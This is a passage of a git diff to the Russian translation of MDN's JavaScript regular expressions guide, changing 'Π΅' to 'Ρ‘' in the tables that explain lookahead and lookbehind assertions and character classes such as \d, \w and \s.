+<p>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° (assertion) Π·Π°Π΄Π°Ρ‘Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ совпадСния ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… способов. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ условныС выраТСния, ΠΎΠΏΠ΅Ρ€Π΅ΠΆΠ°ΡŽΡ‰ΠΈΠ΅ (look-ahead) ΠΈ рСтроспСктивныС (look-behind) ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</p>
<h2 id="Π’ΠΈΠΏΡ‹">Π’ΠΈΠΏΡ‹</h2>
@@ -25,7 +25,7 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
<td>x(?=y)</td>
<td>
<p><strong>ΠžΠΏΠ΅Ρ€Π΅ΠΆΠ°ΡŽΡ‰Π°Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:Β </strong><code><em>x</em></code>Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π°Β <code><em>x</em></code> слСдуСт <code><em>y</em></code>. НапримСр, /<code>Jack(?=Sprat)/</code> сработаСт для "Jack"Β  Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π° Π½ΠΈΠΌ Π±ΡƒΠ΄Π΅Ρ‚ "Sprat".<br>
- <code>/Jack(?=Sprat|Frost)/</code> ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ для "Jack" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π° Π½ΠΈΠΌ Π±ΡƒΠ΄Π΅Ρ‚Β "Sprat" ΠΈΠ»ΠΈ "Frost". Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΈ "Sprat" Π½ΠΈ "Frost" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π΄Π°Π½Ρ‹ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</p>
+ <code>/Jack(?=Sprat|Frost)/</code> ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ для "Jack" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π° Π·Π° Π½ΠΈΠΌ Π±ΡƒΠ΄Π΅Ρ‚Β "Sprat" ΠΈΠ»ΠΈ "Frost". Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΈ "Sprat" Π½ΠΈ "Frost" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π΄Π°Π½Ρ‹ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</p>
</td>
</tr>
<tr>
@@ -37,13 +37,13 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Assertions
<tr>
<td>(?&lt;=y)x</td>
<td>
- <p><strong>РСтроспСктивная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:Β </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π°Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> НапримСр, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработаСт для "Sprat" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π΅ΡΡ‚ΡŒ "Jack".Β </span><code>/(?&lt;=Jack|Tom)Sprat/</code> ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚ для "Sprat" Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π±ΡƒΠ΄ΡƒΡ‚Β "Jack" ΠΈΠ»ΠΈ "Tom". Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½ΠΈ "Jack" Π½ΠΈ "Tom" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π΄Π°Π½Ρ‹.</p>
+ <p><strong>РСтроспСктивная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:Β </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π°Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> НапримСр, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;=Jack)Sprat/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработаСт для "Sprat" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π΅ΡΡ‚ΡŒ "Jack".Β </span><code>/(?&lt;=Jack|Tom)Sprat/</code> ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚ для "Sprat" Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π±ΡƒΠ΄ΡƒΡ‚Β "Jack" ΠΈΠ»ΠΈ "Tom". Π—Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π½ΠΈ "Jack" Π½ΠΈ "Tom" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹Π΄Π°Π½Ρ‹.</p>
</td>
</tr>
<tr>
<td>(?&lt;!y)x</td>
<td>
- <p><strong>ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ рСтроспСктивная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:Β </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π°Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> Π½Π΅ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> НапримСр, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработаСт для числа Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π½Π΅ стоит Π·Π½Π°ΠΊ минус. Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°Β </span><code>/(?&lt;!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?&lt;!-)\d+/.exec('-3')</code>Β Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚, Ρ‚.ΠΊ. ΠΏΠ΅Ρ€Π΅Π΄ числом Π΅ΡΡ‚ΡŒ Π·Π½Π°ΠΊ минус.</p>
+ <p><strong>ΠžΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ рСтроспСктивная ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°:Β </strong><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">Β ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΊΠΎΠ³Π΄Π°Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>x</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> Π½Π΅ ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚Β </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;"><em>y</em></code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span> НапримСр, <code style="font-size: 1rem; letter-spacing: -0.00278rem;">/(?&lt;!-)\d+/</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> сработаСт для числа Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΏΠ΅Ρ€Π΅Π΄ Π½ΠΈΠΌ Π½Π΅ стоит Π·Π½Π°ΠΊ минус. Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π°Β </span><code>/(?&lt;!-)\d+/.exec('3')</code> выдаст "3". Код <code>/(?&lt;!-)\d+/.exec('-3')</code>Β Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚, Ρ‚.ΠΊ. ΠΏΠ΅Ρ€Π΅Π΄ числом Π΅ΡΡ‚ΡŒ Π·Π½Π°ΠΊ минус.</p>
</td>
</tr>
</tbody>
diff --git a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html
index 16df319f96..451d5d78bb 100644
--- a/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html
+++ b/files/ru/web/javascript/guide/regular_expressions/character_classes/index.html
@@ -48,84 +48,84 @@ translation_of: Web/JavaScript/Guide/Regular_Expressions/Character_Classes
<tr>
<td><code>\d</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с любой Ρ†ΠΈΡ„Ρ€ΠΎΠΉ (арабский числа). Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎΒ  <code>[0-9]</code>. НапримСр, <code>/\d/</code> ΠΈΠ»ΠΈ <code>/[0-9]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "2" Π² "B2 is the suite number"..</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с любой Ρ†ΠΈΡ„Ρ€ΠΎΠΉ (арабский числа). Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎΒ  <code>[0-9]</code>. НапримСр, <code>/\d/</code> ΠΈΠ»ΠΈ <code>/[0-9]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "2" Π² "B2 is the suite number"..</p>
</td>
</tr>
<tr>
<td><code>\D</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ символом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Ρ†ΠΈΡ„Ρ€ΠΎΠΉ (арабский числа). Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^0-9]</code>. НапримСр, <code>/\D/</code> or <code>/[^0-9]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "B" Π² "B2 is the suite number".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ символом, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ являСтся Ρ†ΠΈΡ„Ρ€ΠΎΠΉ (арабский числа). Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^0-9]</code>. НапримСр, <code>/\D/</code> or <code>/[^0-9]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "B" Π² "B2 is the suite number".</p>
</td>
</tr>
<tr>
<td><code>\w</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с любой Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-числовым символом ΠΈΠ· Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π° Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.Β  Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[A-Za-z0-9_]</code>. НапримСр, <code>/\w/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "a" Π² "apple", "5" Π² "$5.28", "3" Π² "3D" ΠΈ "m" Π² "Γ‰manuel".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с любой Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-числовым символом ΠΈΠ· Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π° Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.Β  Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[A-Za-z0-9_]</code>. НапримСр, <code>/\w/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "a" Π² "apple", "5" Π² "$5.28", "3" Π² "3D" ΠΈ "m" Π² "Γ‰manuel".</p>
</td>
</tr>
<tr>
<td><code>\W</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с любой Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-числовым, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ являСтся символом Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.Β  Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^A-Za-z0-9_]</code>. НапримСр, <code>/\W/</code> ΠΈΠ»ΠΈ <code>/[^A-Za-z0-9_]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "%" Π² "50%" ΠΈ "Γ‰" in "Γ‰manuel".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с любой Π±ΡƒΠΊΠ²Π΅Π½Π½ΠΎ-числовым, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ являСтся символом Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ латинского Π°Π»Ρ„Π°Π²ΠΈΡ‚Π°, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π°Ρ Π½ΠΈΠΆΠ½Π΅Π΅ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅.Β  Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^A-Za-z0-9_]</code>. НапримСр, <code>/\W/</code> ΠΈΠ»ΠΈ <code>/[^A-Za-z0-9_]/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "%" Π² "50%" ΠΈ "Γ‰" in "Γ‰manuel".</p>
</td>
</tr>
<tr>
<td><code>\s</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΌ символом, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΡ€ΠΎΠ±Π΅Π», символ табуляции, символ ΠΏΠΎΠ΄Π°Ρ‡ΠΈ страницы, символ ΠΏΠΎΠ΄Π°Ρ‡ΠΈ строки ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Unicode ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. НапримСр, <code>/\s\w*/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ " bar" Π² "foo bar".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΌ символом, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΡ€ΠΎΠ±Π΅Π», символ табуляции, символ ΠΏΠΎΠ΄Π°Ρ‡ΠΈ страницы, символ ΠΏΠΎΠ΄Π°Ρ‡ΠΈ строки ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Unicode ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. НапримСр, <code>/\s\w*/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ " bar" Π² "foo bar".</p>
</td>
</tr>
<tr>
<td><code>\S</code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ символом, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. НапримСр, <code>/\S\w*/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "foo" Π² "foo bar".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с Π»ΡŽΠ±Ρ‹ΠΌ символом, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΌΡΡ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π­ΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΠΎ <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. НапримСр, <code>/\S\w*/</code> Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ "foo" Π² "foo bar".</p>
</td>
</tr>
<tr>
<td><code>\t</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ табуляции.</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ табуляции.</td>
</tr>
<tr>
<td><code>\r</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ°Ρ€Π΅Ρ‚ΠΊΠΈ.</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΊΠ°Ρ€Π΅Ρ‚ΠΊΠΈ.</td>
</tr>
<tr>
<td><code>\n</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом ΠΏΠΎΠ΄Π°Ρ‡ΠΈ строки.</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом ΠΏΠΎΠ΄Π°Ρ‡ΠΈ строки.</td>
</tr>
<tr>
<td><code>\v</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ табуляции</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠΉ табуляции</td>
</tr>
<tr>
<td><code>\f</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом ΠΏΠΎΠ΄Π°Ρ‡ΠΈ страницы (Ρ„ΠΎΡ€ΠΌΡ‹).</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом ΠΏΠΎΠ΄Π°Ρ‡ΠΈ страницы (Ρ„ΠΎΡ€ΠΌΡ‹).</td>
</tr>
<tr>
<td><code>[\b]</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Π½Π°Π·Π°Π΄ (Π°Π½Π³Π». backspace). Если Π²Ρ‹ ΠΈΡ‰ΠΈΡ‚Π΅ символ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</a>.</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ Π½Π°Π·Π°Π΄ (Π°Π½Π³Π». backspace). Если Π²Ρ‹ ΠΈΡ‰ΠΈΡ‚Π΅ символ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Π“Ρ€Π°Π½ΠΈΡ†Ρ‹</a>.</td>
</tr>
<tr>
<td><code>\0</code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом NUL character. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ†ΠΈΡ„Ρ€Ρƒ.</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом NUL character. НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ†ΠΈΡ„Ρ€Ρƒ.</td>
</tr>
<tr>
<td><code>\c<em>X</em></code></td>
<td>
- <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ ΡΒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΌ символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">ΠΊΠ°Ρ€Π΅Ρ‚Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ</a>, Π³Π΄Π΅ "X" Π±ΡƒΠΊΠ²Π° A–Z (соотвСтствуСт ΠΊΠΎΠ΄Π°ΠΌ <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code>Β matches "\r"Β inΒ "\r\n".</p>
+ <p>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ ΡΒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΌ символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">ΠΊΠ°Ρ€Π΅Ρ‚Π½ΡƒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ</a>, Π³Π΄Π΅ "X" Π±ΡƒΠΊΠ²Π° A–Z (соотвСтствуСт ΠΊΠΎΠ΄Π°ΠΌ <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code>Β matches "\r"Β inΒ "\r\n".</p>
</td>
</tr>
<tr>
<td><code>\x<em>hh</em></code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с символом, ΠΊΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code><em>hh</em></code> (Π΄Π²Π΅ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с символом, ΠΊΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code><em>hh</em></code> (Π΄Π²Π΅ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
</tr>
<tr>
<td><code>\u<em>hhhh</em></code></td>
- <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Π΅Ρ‚ с ΠΊΠΎΠ΄-Π±Π»ΠΎΠΊΠΎΠΌ UTF-16 со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code><em>hhhh</em></code> (Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
+ <td>Π‘ΠΎΠ²ΠΏΠ°Π΄Ρ‘Ρ‚ с ΠΊΠΎΠ΄-Π±Π»ΠΎΠΊΠΎΠΌ UTF-16 со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code><em>hhhh</em></code> (Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… Ρ†ΠΈΡ„Ρ€Ρ‹).</td>
</tr>
<tr>
<td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td>
